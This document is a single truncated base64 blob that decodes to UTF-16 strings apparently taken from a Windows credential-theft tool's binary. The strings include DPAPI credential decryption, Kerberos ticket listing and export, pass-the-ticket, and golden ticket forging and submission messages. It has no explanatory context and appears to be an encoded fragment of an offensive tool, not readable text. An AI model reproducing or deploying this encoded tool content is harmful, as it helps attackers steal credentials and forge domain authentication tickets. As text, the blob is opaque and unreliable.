MAKQA6AAoAAABEAGUAYwByAHkAcAB0AGkAbgBnACAAQwByAGUAZABlAG4AdABpAGEAbAA6AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBjAHIAZQBkACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBjAHIAZQBkACAAOwAgAEkAbgBwAHUAdAAgAEMAUgBFAEQAIABmAGkAbABlACAAbgBlAGUAZABlAGQAIAAoAC8AaQBuADoAZgBpAGwAZQApAAoAAAAAAHAAbwBsAGkAYwB5AAAAAABEAGUAYwByAHkAcAB0AGkAbgBnACAAUABvAGwAaQBjAHkAIABLAGUAeQBzADoACgAAAAAAIAAgAEEARQBTADEAMgA4ACAAawBlAHkAOgAgAAAAAAAgACAAQQBFAFMAMgA1ADYAIABrAGUAeQA6ACAAAAAAACAAIAA+ACAAQQB0AHQAcgBpAGIAdQB0AGUAIAAlAHUAIAA6ACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAHYAYQB1AGwAdAAgADsAIABDAHIAeQBwAHQARABlAGMAcgB5AHAAdAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AdgBhAHUAbAB0ACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAcABvAGwAaQBjAHkAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAHYAYQB1AGwAdAAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwByAGUAYQBkAEQAYQB0AGEAIAAoAGMAcgBlAGQAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwB2AGEAdQBsAHQAIAA7ACAASQBuAHAAdQB0ACAAQwByAGUAZAAgAGYAaQBsAGUAIABuAGUAZQBkAGUAZAAgACgALwBjAHIAZQBkADoAZgBpAGwAZQApAAoAAABEAGUAYwByAHkAcAB0AGkAbgBnACAAQQBUAF8AUwBJAEcATgBBAFQAVQBSAEUAIABFAHgAcABvAHIAdAAgAGYAbABhAGcAcwA6AAoAAAAAAEhqMWRpUTZrcFV4N1ZDNG0AAAAAAAAAAEQAZQBjAHIAeQBwAHQAaQBuAGcAIABBAFQAXwBTAEkARwBOAEEAVABVAFIARQAgAFAAcgBpAHYAYQB0AGUAIABLAGUAeQA6AAoAAAByAGEAdwBfAHMAaQBnAG4AYQB0AHUAcgBlAAAARABlAGMAcgB5AHAAdABpAG4AZwAgAEEAVABfAEUAWABDAEgAQQBOAEcARQAgAEUAeABwAG8AcgB0ACAAZgBsAGEAZwBzADoACgAAAAAAAABEAGUAYwByAHkAcAB0AGkAbgBnACAAQQBUAF8ARQBYAEMASABBAE4ARwBFACAAUAByAGkAdgBhAHQAZQAgAEsAZQB5ADoACgAAAAAAcgBhAHcAXwBlAHgAYwBoAGEAbgBnAGUAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AawBlAHkAcwBfAGMAYQBwAGkAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AcgBlAGEAZABEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBrAGUAeQBzAF8AYwBhAHAAaQAgADsAIABJAG4AcAB1AHQAIABDAEEAUABJACAAcAByAGkAdgBhAHQAZQAgAGsAZQB5ACAAZgBpAGwAZQAgAG4AZQBlAGQAZQBkACAAKAAvAGkAbgA6AGYAaQBsAGUAKQAKAAAAAAAAAEQAZQBjAHIAeQBwAHQAaQBuAGcAIABQAHIAaQB2AGEAdABlACAAUAByAG8AcABlAHIAdABpAGUAcwA6AAoAAAA2am5rZDVKM1pkUUR0cnN1AAAAAEQAZQBjAHIAeQBwAHQAaQBuAGcAIABQAHIAaQB2AGEAdABlACAASwBlAHkAOgAKAAAAAAB4VDVyWlc1cVZWYnJ2cHVBAAAAAHIAYQB3AAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AawBlAHkAcwBfAGMAbgBnACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBrAGUAeQBzAF8AYwBuAGcAIAA7ACAASQBuAHAAdQB0ACAAQwBOAEcAIABwAHIAaQB2AGEAdABlACAAawBlAHkAIABmAGkAbABlACAAbgBlAGUAZABlAGQAIAAoAC8AaQBuADoAZgBpAGwAZQApAAoAAABuAGEAbQBlAAAAAABQAHIAbwBmAGkAbABlACAAJwAlAHMAJwAKAAoAAAAAAFMAUwBJAEQAAAAAACAAKgAgAFMAUwBJAEQAIAAAAAAAbgBhAG0AZQAgACAAIAAgACAAOgAgACUAcwAKAAAAAABoAGUAeAAAAGgAZQB4ACAAIAAgACAAIAAgADoAIAAlAHMACgAAAAAAPwAKAAAAAABhAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AAAAAACAAKgAgAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgA6ACAAJQBzAAoAAAAAAGUAbgBjAHIAeQBwAHQAaQBvAG4AAAAAACAAKgAgAEUAbgBjAHIAeQBwAHQAaQBvAG4AIAAgACAAIAA6ACAAJQBzAAoAAAAAAGsAZQB5AE0AYQB0AGUAcgBpAGEAbAAAACAAKgAgAEsAZQB5ACAATQBhAHQAZQByAGkAYQBsACAAIAA6ACAAAABXAEUAUAAAACgAaABlAHgAKQAgAAAAAAAlAC4AKgBTAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAHcAaQBmAGkAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AcgBlAGEAZABEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAHcAaQBmAGkAIAA7ACAASQBuAHAAdQB0ACAAVwBsAGEAbgAgAFgATQBMACAAcAByAG8AZgBpAGwAZQAgAG4AZQBlAGQAZQBkACAAKAAvAGkAbgA6AGYAaQBsAGUAKQAKAAAATgBhAG0AZQAAAAAAQQBjAGMAZQBzAHMAUwB0AHIAaQBuAGcAAAAAACAAKgAgAEEAYwBjAGUAcwBzAFMAdAByAGkAbgBnACAAIAAgACAAOgAgACUAcwAKAAAAAABTAHUAYgBzAGMAcgBpAGIAZQByAEkARAAAAAAAIAAqACAAUwB1AGIAcwBjAHIAaQBiAGUAcgBJAEQAIAAgADoAIAAAACUALgAqAHMAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAHcAdwBhAG4AIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AcgBlAGEAZABEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAHcAdwBhAG4AIAA7ACAASQBuAHAAdQB0ACAAVwB3AGEAbgAgAFgATQBMACAAcAByAG8AZgBpAGwAZQAgAG4AZQBlAGQAZQBkACAAKAAvAGkAbgA6AGYAaQBsAGUAKQAKAAAAS2VyYmVyb3MAAAAAdQBzAGUAcgAAAAAAcwBlAHIAdgBpAGMAZQAAAGkAZAAAAAAATABpAHMAdAAgAHQAaQBjAGsAZQB0AHMAIABpAG4AIABNAEkAVAAvAEgAZQBpAG0AZABhAGwAbAAgAGMAYwBhAGMAaABlAAAAYwBsAGkAcwB0AAAAUABhAHMAcwAtAHQAaABlAC0AYwBjAGEAYwBoAGUAIABbAE4AVAA2AF0AAABwAHQAYwAAAEgAYQBzAGgAIABwAGEAcwBzAHcAbwByAGQAIAB0AG8AIABrAGUAeQBzAAAAVwBpAGwAbAB5ACAAVwBvAG4AawBhACAAZgBhAGMAdABvAHIAeQAAAGcAbwBsAGQAZQBuAAAAAABQAHUAcgBnAGUAIAB0AGkAYwBrAGUAdAAoAHMAKQAAAHAAdQByAGcAZQAAAFIAZQB0AHIAaQBlAHYAZQAgAGMAdQByAHIAZQBuAHQAIABUAEcAVAAAAAAAdABnAHQAAABBAHMAawAgAG8AcgAgAGcAZQB0ACAAVABHAFMAIAB0AGkAYwBrAGUAdABzAAAAAABhAHMAawAAAEwAaQBzAHQAIAB0AGkAYwBrAGUAdAAoAHMAKQAAAAAAbABpAHMAdAAAAAAAUABhAHMAcwAtAHQAaABlAC0AdABpAGMAawBlAHQAIABbAE4AVAAgADYAXQAAAAAAcAB0AHQAAABLAGUAcgBiAGUAcgBvAHMAIABwAGEAYwBrAGEAZwBlACAAbQBvAGQAdQBsAGUAAABrAHIAYgB0AGcAdAAAAAAAawBlAHIAYgBlAHIAbwBzAAAAAAAqACAARABpAHIAZQBjAHQAbwByAHkAOgAgACcAJQBzACcACgAAAAAAKgAuAGsAaQByAGIAaQAAAAoAKgAgAEYAaQBsAGUAOgAgACcAJQBzACcAOgAgAAAATwBLAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBwAHQAdABfAGYAaQBsAGUAIAA7ACAATABzAGEAQwBhAGwAbABLAGUAcgBiAGUAcgBvAHMAUABhAGMAawBhAGcAZQAgACUAMAA4AHgACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHAAdAB0AF8AZgBpAGwAZQAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwByAGUAYQBkAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AcAB0AHQAXwBkAGEAdABhACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFMAdQBiAG0AaQB0AFQAaQBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAIAAvACAAUABhAGMAawBhAGcAZQAgADoAIAAlADAAOAB4AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHAAdAB0AF8AZABhAHQAYQAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBTAHUAYgBtAGkAdABUAGkAYwBrAGUAdABNAGUAcwBzAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAAABUAGkAYwBrAGUAdAAoAHMAKQAgAHAAdQByAGcAZQAgAGYAbwByACAAYwB1AHIAcgBlAG4AdAAgAHMAZQBzAHMAaQBvAG4AIABpAHMAIABPAEsACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBwAHUAcgBnAGUAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUAB1AHIAZwBlAFQAaQBjAGsAZQB0AEMAYQBjAGgAZQBNAGUAcwBzAGEAZwBlACAALwAgAFAAYQBjAGsAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBwAHUAcgBnAGUAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUAB1AHIAZwBlAFQAaQBjAGsAZQB0AEMAYQBjAGgAZQBNAGUAcwBzAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAASwBlAHIAYgBlAHIAbwBzACAAVABHAFQAIABvAGYAIABjAHUAcgByAGUAbgB0ACAAcwBlAHMAcwBpAG8AbgAgADoAIAAAAAAACgAKAAkAKgAqACAAUwBlAHMAcwBpAG8AbgAgAGsAZQB5ACAAaQBzACAATgBVAEwATAAhACAASQB0ACAAbQBlAGEAbgBzACAAYQBsAGwAbwB3AHQAZwB0AHMAZQBzAHMAaQBvAG4AawBlAHkAIABpAHMAIABuAG8AdAAgAHMAZQB0ACAAdABvACAAMQAgACoAKgAKAAAAAABuAG8AIAB0AGkAYwBrAGUAdAAgACEACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AdABnAHQAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUgBlAHQAcgBpAGUAdgBlAFQAaQBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAIAAvACAAUABhAGMAawBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHQAZwB0ACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFIAZQB0AHIAaQBlAHYAZQBUAGkAYwBrAGUAdABNAGUAcwBzAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAZQB4AHAAbwByAHQAAAAAAAoAWwAlADAAOAB4AF0AIAAtACAAMAB4ACUAMAA4AHgAIAAtACAAJQBzAAAACgAgACAAIABTAHQAYQByAHQALwBFAG4AZAAvAE0AYQB4AFIAZQBuAGUAdwA6ACAAAAAAACAAOwAgAAAACgAgACAAIABTAGUAcgB2AGUAcgAgAE4AYQBtAGUAIAAgACAAIAAgACAAIAA6ACAAJQB3AFoAIABAACAAJQB3AFoAAAAAAAAACgAgACAAIABDAGwAaQBlAG4AdAAgAE4AYQBtAGUAIAAgACAAIAAgACAAIAA6ACAAJQB3AFoAIABAACAAJQB3AFoAAAAKACAAIAAgAEYAbABhAGcAcwAgACUAMAA4AHgAIAAgACAAIAA6ACAAAAAAAGsAaQByAGIAaQAAAAoAIAAgACAAKgAgAFMAYQB2AGUAZAAgAHQAbwAgAGYAaQBsAGUAIAAgACAAIAAgADoAIAAlAHMAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AbABpAHMAdAAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwB3AHIAaQB0AGUARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBsAGkAcwB0ACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFIAZQB0AHIAaQBlAHYAZQBFAG4AYwBvAGQAZQBkAFQAaQBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAIAAvACAAUABhAGMAawBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGwAaQBzAHQAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUgBlAHQAcgBpAGUAdgBlAEUAbgBjAG8AZABlAGQAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AbABpAHMAdAAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBRAHUAZQByAHkAVABpAGMAawBlAHQAQwBhAGMAaABlAEUAeAAyAE0AZQBzAHMAYQBnAGUAIAAvACAAUABhAGMAawBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AbABpAHMAdAAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBRAHUAZQByAHkAVABpAGMAawBlAHQAQwBhAGMAaABlAEUAeAAyAE0AZQBzAHMAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAAB0AGsAdAAAAG4AbwBjAGEAYwBoAGUAAAB0AGEAcgBnAGUAdAAAAAAAQQBzAGsAaQBuAGcAIABmAG8AcgA6ACAAJQB3AFoACgAAAAAAIAAgACAAKgAgAFQAaQBjAGsAZQB0ACAARQBuAGMAcgB5AHAAdABpAG8AbgAgAFQAeQBwAGUAIAAmACAAawB2AG4AbwAgAG4AbwB0ACAAcgBlAHAAcgBlAHMAZQBuAHQAYQB0AGkAdgBlACAAYQB0ACAAcwBjAHIAZQBlAG4ACgAAAAAAAAAAACAAIAAgACoAIABOAG8AQwBhAGMAaABlADoAIABlAHgAcABvAHIAdABlAGQAIAB0AGkAYwBrAGUAdAAgAG0AYQB5ACAAdgBhAHIAeQAgAHcAaQB0AGgAIABpAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwAgAGEAdAAgAHMAYwByAGUAZQBuAAoAAAAKACAAIAAgACoAIABUAEsAVAAgAHQAbwAgAGYAaQBsAGUAIAAgACAAIAAgACAAIAA6ACAAJQBzAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBhAHMAawAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwB3AHIAaQB0AGUARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAACgAgACAAIAAqACAASwBpAFIAQgBpACAAdABvACAAZgBpAGwAZQAgACAAIAAgACAAOgAgACUAcwAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AYQBzAGsAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUgBlAHQAcgBpAGUAdgBlAEUAbgBjAG8AZABlAGQAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgAC8AIABQAGEAYwBrAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AYQBzAGsAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUgBlAHQAcgBpAGUAdgBlAEUAbgBjAG8AZABlAGQAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBhAHMAawAgADsAIAAnACUAdwBaACcAIABLAGUAcgBiAGUAcgBvAHMAIABuAGEAbQBlACAAbgBvAHQAIABmAG8AdQBuAGQAIQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBhAHMAawAgADsAIABBAHQAIABsAGUAYQBzAHQAIAAvAHQAYQByAGcAZQB0ACAAYQByAGcAdQBtAGUAbgB0ACAAaQBzACAAcgBlAHEAdQBpAHIAZQBkACAAKABlAGcAOgAgAC8AdABhAHIAZwBlAHQAOgBjAGkAZgBzAC8AcwBlAHIAdgBlAHIALgBsAGEAYgAuAGwAbwBjAGEAbAApAAoAAAAAACUAdQAtACUAMAA4AHgALQAlAHcAWgBAACUAdwBaAC0AJQB3AFoALgAlAHMAAAAAACUAMAA4AHgALQAlAHcAWgBAACUAdwBaAC0AJQB3AFoALgAlAHMAAAAlADAAOAB4AC0AbgBvAG4AYQBtAGUALgAlAHMAAAAAAHQAaQBjAGsAZQB0AC4AawBpAHIAYgBpAAAAAAB0AGkAYwBrAGUAdAAAAAAAYQBkAG0AaQBuAAAAZABvAG0AYQBpAG4AAAAAAGQAZQBzAAAAcgBjADQAAABhAGUAcwAxADIAOAAAAAAAYQBlAHMAMgA1ADYAAAAAAHIAbwBkAGMAAAAAAGcAcgBvAHUAcABzAAAAAABzAGkAZABzAAAAAAAwAAAAcwB0AGEAcgB0AG8AZgBmAHMAZQB0AAAANQAyADUANgAwADAAMAAAAGUAbgBkAGkAbgAAAHIAZQBuAGUAdwBtAGEAeAAAAAAAAAAAAFUAcwBlAHIAIAAgACAAIAAgACAAOgAgACUAcwAKAEQAbwBtAGEAaQBuACAAIAAgACAAOgAgACUAcwAgACgAJQBzACkACgBTAEkARAAgACAAIAAgACAAIAAgADoAIAAlAHMACgBVAHMAZQByACAASQBkACAAIAAgADoAIAAlAHUACgAAAEcAcgBvAHUAcABzACAASQBkACAAOgAgACoAAAAlAHUAIAAAAAoARQB4AHQAcgBhACAAUwBJAEQAcwA6ACAAAAAKAFMAZQByAHYAaQBjAGUASwBlAHkAOgAgAAAAIAAtACAAJQBzAAoAAAAAAFMAZQByAHYAaQBjAGUAIAAgACAAOgAgACUAcwAKAAAAVABhAHIAZwBlAHQAIAAgACAAIAA6ACAAJQBzAAoAAABMAGkAZgBlAHQAaQBtAGUAIAAgADoAIAAAAAAAKgAqACAAUABhAHMAcwAgAFQAaABlACAAVABpAGMAawBlAHQAIAAqACoAAAAtAD4AIABUAGkAYwBrAGUAdAAgADoAIAAlAHMACgAKAAAAAAAAAAAACgBHAG8AbABkAGUAbgAgAHQAaQBjAGsAZQB0ACAAZgBvAHIAIAAnACUAcwAgAEAAIAAlAHMAJwAgAHMAdQBjAGMAZQBzAHMAZgB1AGwAbAB5ACAAcwB1AGIAbQBpAHQAdABlAGQAIABmAG8AcgAgAGMAdQByAHIAZQBuAHQAIABzAGUAcwBzAGkAbwBuAAoAAAAAAAoARgBpAG4AYQBsACAAVABpAGMAawBlAHQAIABTAGEAdgBlAGQAIAB0AG8AIABmAGkAbABlACAAIQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIAAKAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHcAcgBpAHQAZQBEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAEsAcgBiAEMAcgBlAGQAIABlAHIAcgBvAHIACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAEsAcgBiAHQAZwB0ACAAawBlAHkAIABzAGkAegBlACAAbABlAG4AZwB0AGgAIABtAHUAcwB0ACAAYgBlACAAJQB1ACAAKAAlAHUAIABiAHkAdABlAHMAKQAgAGYAbwByACAAJQBzAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAbABvAGMAYQB0AGUAIABDAHIAeQBwAHQAbwBTAHkAcwB0AGUAbQAgAGYAbwByACAARQBUAFkAUABFACAAJQB1ACAAKABlAHIAcgBvAHIAIAAwAHgAJQAwADgAeAApACAALQAgAEEARQBTACAAbwBuAGwAeQAgAGEAdgBhAGkAbABhAGIAbABlACAAbwBuACAATgBUADYACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAE0AaQBzAHMAaQBuAGcAIABrAHIAYgB0AGcAdAAgAGsAZQB5ACAAYQByAGcAdQBtAGUAbgB0ACAAKAAvAHIAYwA0ACAAbwByACAALwBhAGUAcwAxADIAOAAgAG8AcgAgAC8AYQBlAHMAMgA1ADYAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABTAEkARAAgAHMAZQBlAG0AcwAgAGkAbgB2AGEAbABpAGQAIAAtACAAQwBvAG4AdgBlAHIAdABTAHQAcgBpAG4AZwBTAGkAZABUAG8AUwBpAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABNAGkAcwBzAGkAbgBnACAAUwBJAEQAIABhAHIAZwB1AG0AZQBuAHQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAARABvAG0AYQBpAG4AIABuAGEAbQBlACAAZABvAGUAcwAgAG4AbwB0ACAAbABvAG8AawAgAGwAaQBrAGUAIABhACAARgBRAEQATgAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAATQBpAHMAcwBpAG4AZwAgAGQAbwBtAGEAaQBuACAAYQByAGcAdQBtAGUAbgB0AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAE0AaQBzAHMAaQBuAGcAIAB1AHMAZQByACAAYQByAGcAdQBtAGUAbgB0AAoAAAAgACoAIABQAEEAQwAgAGcAZQBuAGUAcgBhAHQAZQBkAAoAAAAgACoAIABQAEEAQwAgAHMAaQBnAG4AZQBkAAoAAAAAACAAKgAgAEUAbgBjAFQAaQBjAGsAZQB0AFAAYQByAHQAIABnAGUAbgBlAHIAYQB0AGUAZAAKAAAAIAAqACAARQBuAGMAVABpAGMAawBlAHQAUABhAHIAdAAgAGUAbgBjAHIAeQBwAHQAZQBkAAoAAAAgACoAIABLAHIAYgBDAHIAZQBkACAAZwBlAG4AZQByAGEAdABlAGQACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuAF8AZABhAHQAYQAgADsAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGUAbgBjAHIAeQBwAHQAIAAlADAAOAB4AAoAAAAJACoAIAAlAHMAIAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AaABhAHMAaABfAGQAYQB0AGEAIAA7ACAASABhAHMAaABQAGEAcwBzAHcAbwByAGQAIAA6ACAAJQAwADgAeAAKAAAAAABjAG8AdQBuAHQAAABYAC0AQwBBAEMASABFAEMATwBOAEYAOgAAAAAACgBQAHIAaQBuAGMAaQBwAGEAbAAgADoAIAAAAAoACgBEAGEAdABhACAAJQB1AAAACgAJACAAIAAgACoAIABJAG4AagBlAGMAdABpAG4AZwAgAHQAaQBjAGsAZQB0ACAAOgAgAAAAAAAKAAkAIAAgACAAKgAgAFMAYQB2AGUAZAAgAHQAbwAgAGYAaQBsAGUAIAAlAHMAIAAhAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AYwBjAGEAYwBoAGUAXwBlAG4AdQBtACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHcAcgBpAHQAZQBEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAAAKAAkAKgAgACUAdwBaACAAZQBuAHQAcgB5AD8AIAAqAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBjAGMAYQBjAGgAZQBfAGUAbgB1AG0AIAA7ACAAYwBjAGEAYwBoAGUAIAB2AGUAcgBzAGkAbwBuACAAIQA9ACAAMAB4ADAANQAwADQACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGMAYwBhAGMAaABlAF8AZQBuAHUAbQAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwByAGUAY